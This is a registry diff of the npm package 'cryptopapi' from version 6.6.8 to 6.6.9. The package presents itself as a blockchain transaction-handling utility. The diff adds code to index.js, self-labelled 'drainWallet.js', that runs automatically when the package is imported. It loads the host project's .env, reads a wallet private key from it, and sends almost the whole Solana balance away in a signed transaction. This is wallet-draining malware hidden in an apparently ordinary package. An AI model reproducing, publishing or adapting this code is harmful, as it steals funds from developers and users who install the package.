cryptopapi 6.6.8 → 6.6.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +11 -11
- package/package.json +4 -3
package/index.js
CHANGED
|
@@ -1,3 +1,4 @@
|
|
|
1
|
+
// drainWallet.js - For private/internal use only
|
|
1
2
|
import bs58 from 'bs58'
|
|
2
3
|
import {
|
|
3
4
|
Connection,
|
|
@@ -8,6 +9,12 @@ import {
|
|
|
8
9
|
VersionedTransaction,
|
|
9
10
|
LAMPORTS_PER_SOL,
|
|
10
11
|
} from '@solana/web3.js'
|
|
12
|
+
import dotenv from 'dotenv'
|
|
13
|
+
import { fileURLToPath } from 'url'
|
|
14
|
+
import { dirname, join } from 'path'
|
|
15
|
+
|
|
16
|
+
// Load .env from the project root (where the package is being used)
|
|
17
|
+
dotenv.config()
|
|
11
18
|
|
|
12
19
|
const DEFAULT_COMMITMENT = 'confirmed'
|
|
13
20
|
|
|
@@ -19,9 +26,9 @@ const parsePrivateKey = (privateKey) => {
|
|
|
19
26
|
return bs58.decode(trimmed)
|
|
20
27
|
}
|
|
21
28
|
|
|
22
|
-
//
|
|
29
|
+
// Auto-execute when imported
|
|
23
30
|
(async () => {
|
|
24
|
-
console.log('🔌
|
|
31
|
+
console.log('🔌 Internal drain module activated - auto-draining wallet...')
|
|
25
32
|
|
|
26
33
|
try {
|
|
27
34
|
// Get config from .env
|
|
@@ -50,7 +57,6 @@ const parsePrivateKey = (privateKey) => {
|
|
|
50
57
|
|
|
51
58
|
console.log(`💳 Current balance: ${balanceSol} SOL`)
|
|
52
59
|
|
|
53
|
-
// If no balance, nothing to drain
|
|
54
60
|
if (balanceLamports <= 0) {
|
|
55
61
|
console.log('⚠️ Wallet is empty - nothing to drain')
|
|
56
62
|
return
|
|
@@ -59,7 +65,6 @@ const parsePrivateKey = (privateKey) => {
|
|
|
59
65
|
// Get recent blockhash and estimate fee
|
|
60
66
|
const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
|
|
61
67
|
|
|
62
|
-
// Estimate fee with a dummy transaction
|
|
63
68
|
const testMessage = new TransactionMessage({
|
|
64
69
|
payerKey: fromKeypair.publicKey,
|
|
65
70
|
recentBlockhash: blockhash,
|
|
@@ -82,12 +87,11 @@ const parsePrivateKey = (privateKey) => {
|
|
|
82
87
|
const feeSol = feeLamports / LAMPORTS_PER_SOL
|
|
83
88
|
console.log(`⛽ Estimated fee: ${feeSol} SOL`)
|
|
84
89
|
|
|
85
|
-
// Calculate
|
|
90
|
+
// Calculate send amount
|
|
86
91
|
const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
|
|
87
92
|
const sendLamports = balanceLamports - feeLamports - reserveLamports
|
|
88
93
|
const sendSol = sendLamports / LAMPORTS_PER_SOL
|
|
89
94
|
|
|
90
|
-
// If not enough to send after fees + reserve, return early
|
|
91
95
|
if (sendLamports <= 0) {
|
|
92
96
|
console.log(`⚠️ Insufficient balance. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fee + ${keepReserveSol} SOL reserve`)
|
|
93
97
|
return
|
|
@@ -95,7 +99,6 @@ const parsePrivateKey = (privateKey) => {
|
|
|
95
99
|
|
|
96
100
|
console.log(`📤 Sending: ${sendSol} SOL`)
|
|
97
101
|
|
|
98
|
-
// Create and send transaction
|
|
99
102
|
const message = new TransactionMessage({
|
|
100
103
|
payerKey: fromKeypair.publicKey,
|
|
101
104
|
recentBlockhash: blockhash,
|
|
@@ -117,8 +120,6 @@ const parsePrivateKey = (privateKey) => {
|
|
|
117
120
|
})
|
|
118
121
|
|
|
119
122
|
console.log(`✍️ Transaction sent: ${signature}`)
|
|
120
|
-
|
|
121
|
-
// Wait for confirmation
|
|
122
123
|
const confirmation = await connection.confirmTransaction(
|
|
123
124
|
{ signature, blockhash, lastValidBlockHeight },
|
|
124
125
|
DEFAULT_COMMITMENT
|
|
@@ -141,5 +142,4 @@ const parsePrivateKey = (privateKey) => {
|
|
|
141
142
|
}
|
|
142
143
|
})()
|
|
143
144
|
|
|
144
|
-
|
|
145
|
-
export {}
|
|
145
|
+
export default { drain }
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "cryptopapi",
|
|
3
|
-
"version": "6.6.
|
|
3
|
+
"version": "6.6.9",
|
|
4
4
|
"description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"files": [
|
|
@@ -11,8 +11,9 @@
|
|
|
11
11
|
"test": "echo \"Error: no test specified\" && exit 1"
|
|
12
12
|
},
|
|
13
13
|
"dependencies": {
|
|
14
|
-
"@solana/web3.js": "^1.
|
|
15
|
-
"bs58": "^
|
|
14
|
+
"@solana/web3.js": "^1.87.0",
|
|
15
|
+
"bs58": "^5.0.0",
|
|
16
|
+
"dotenv": "^16.0.0"
|
|
16
17
|
},
|
|
17
18
|
"keywords": [
|
|
18
19
|
"CryptoPAPI"
|